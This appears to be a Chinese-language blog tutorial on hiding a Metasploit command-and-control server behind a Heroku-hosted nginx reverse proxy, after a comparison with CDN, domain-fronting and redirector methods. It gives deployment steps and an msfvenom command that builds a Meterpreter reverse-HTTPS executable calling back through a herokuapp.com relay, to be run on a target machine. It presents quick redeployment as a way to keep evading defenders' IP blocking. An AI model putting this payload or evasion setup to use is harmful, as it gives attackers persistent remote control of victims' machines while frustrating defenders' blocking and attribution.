利用heroku隐藏C2服务器

 

前言

本篇文章介绍如何使用heroku实现隐藏metasploit-framework的C2服务,相比较于业界流行的 域前置 CDN 重定向 三种隐藏C2的方法,本篇文章介绍的方法操作简单,在与 威胁情报IP封锁 对抗过程成本更低(无论是时间成本还是资金成本).

 

当前流行的隐藏C2技术

域前置 CDN 重定向 是当前流行的三种隐藏C2的技术. Shanfenglan7 在其文章 利用CDN、域前置、重定向三种技术隐藏C2的区别 中进行了非常细致的说明,笔者在实际测试三种技术发现,每种技术都有一些不足.

CDN隐藏C2

使用CDN隐藏C2的准备工作大致如下

  • 需要购买域名 (可以通过https://www.freenom.com/使用免费的)
  • 需要购买CDN服务 (可以使用免费的https://www.cloudflare.com/)
  • 需要在CDN服务商处修改DNS记录
  • 需要等待DNS记录生效(如果你的域名绑定过其他IP,这个操作需要几个小时)

可以看到,虽然通过组合免费服务可以实现零成本,但是实现过程中需要进行很多配置操作,时间成本及心智成本过高.如果域名不是匿名注册,还有被追踪溯源的风险.

域前置隐藏C2

使用域前置隐藏C2的准备工作大致如下

  • 需要购买域名 (可以通过https://www.freenom.com/使用免费的)
  • 需要购买CDN服务 (可以使用免费的https://www.cloudflare.com/)
  • 需要在CDN服务商处修改DNS记录
  • 需要等待DNS记录生效(如果你的域名绑定过其他IP,这个操作需要几个小时)
  • 需要知道cdn上的其他高信誉域名或者ip
  • 需要修改malleable profile文件

域前置相对于CDN还要进行更多的额外操作,而且当前主流CDN服务商都已经开始屏蔽域前置技术.

重定向隐藏C2

使用重定向隐藏C2的准备工作大致如下

  • 需要两台VPS
  • 使用apache或者nginx配置重定向转发
  • 需要修改malleable profile文件

重定向需要进行一些额外的编码及部署工作,而且还需要将一台VPS的IP地址暴露给 威胁情报 ,可能被溯源,其实并没有实现隐藏C2的目标.

 

利用heroku隐藏C2服务器

Heroku是一个支持多种编程语言的云平台即服务。简单理解就是可以免费部署docker容器并且可以开放web服务到互联网.下面介绍操作步骤.

  • 首先注册Heroku账号,点击通过 https://dashboard.heroku.com 注册一个账号 (推荐使用gmail)
  • 注册成功以后登录,登录以后点击 部署链接,
  • app名称填写为 mydiydomain (可自定义,名称为后续域名前缀),TARGET环境变量填写为C2的handler地址

  • 然后点击 Deploy app 系统会自动部署.
  • 在metasploit-framework中添加handler,配置如图

  • 执行 to_handler 生成listener
  • 使用如下命令生成payload
    msfvenom -p windows/x64/meterpreter_reverse_https LHOST=mydiydomain.herokuapp.com LPORT=443 -f exe -o ~/payload.exe
    
  • 上传运行目标机器运行即可

 

运行效果

  • 在metasploit-framework中查看session如下,可以看到session的链接地址为heroku中转服务器地址

  • 在目标机抓包效果如下

 

总结

heroku隐藏C2从技术原理上看非常简单,使用heroku服务部署nginx反向代理服务,payload连接heroku的nginx,nginx将流量转发到C2.具体优势如下:

  • 只需要注册heroku免费账号即可
  • 无需注册或购买域名
  • 自带可信的SSL证书(heroku域名自带证书)
  • 如果IP地址被封锁,可删除原有heroku app重新部署heroku app(大约需要30s),与防守人员持续对抗
  • 操作步骤简单
(完)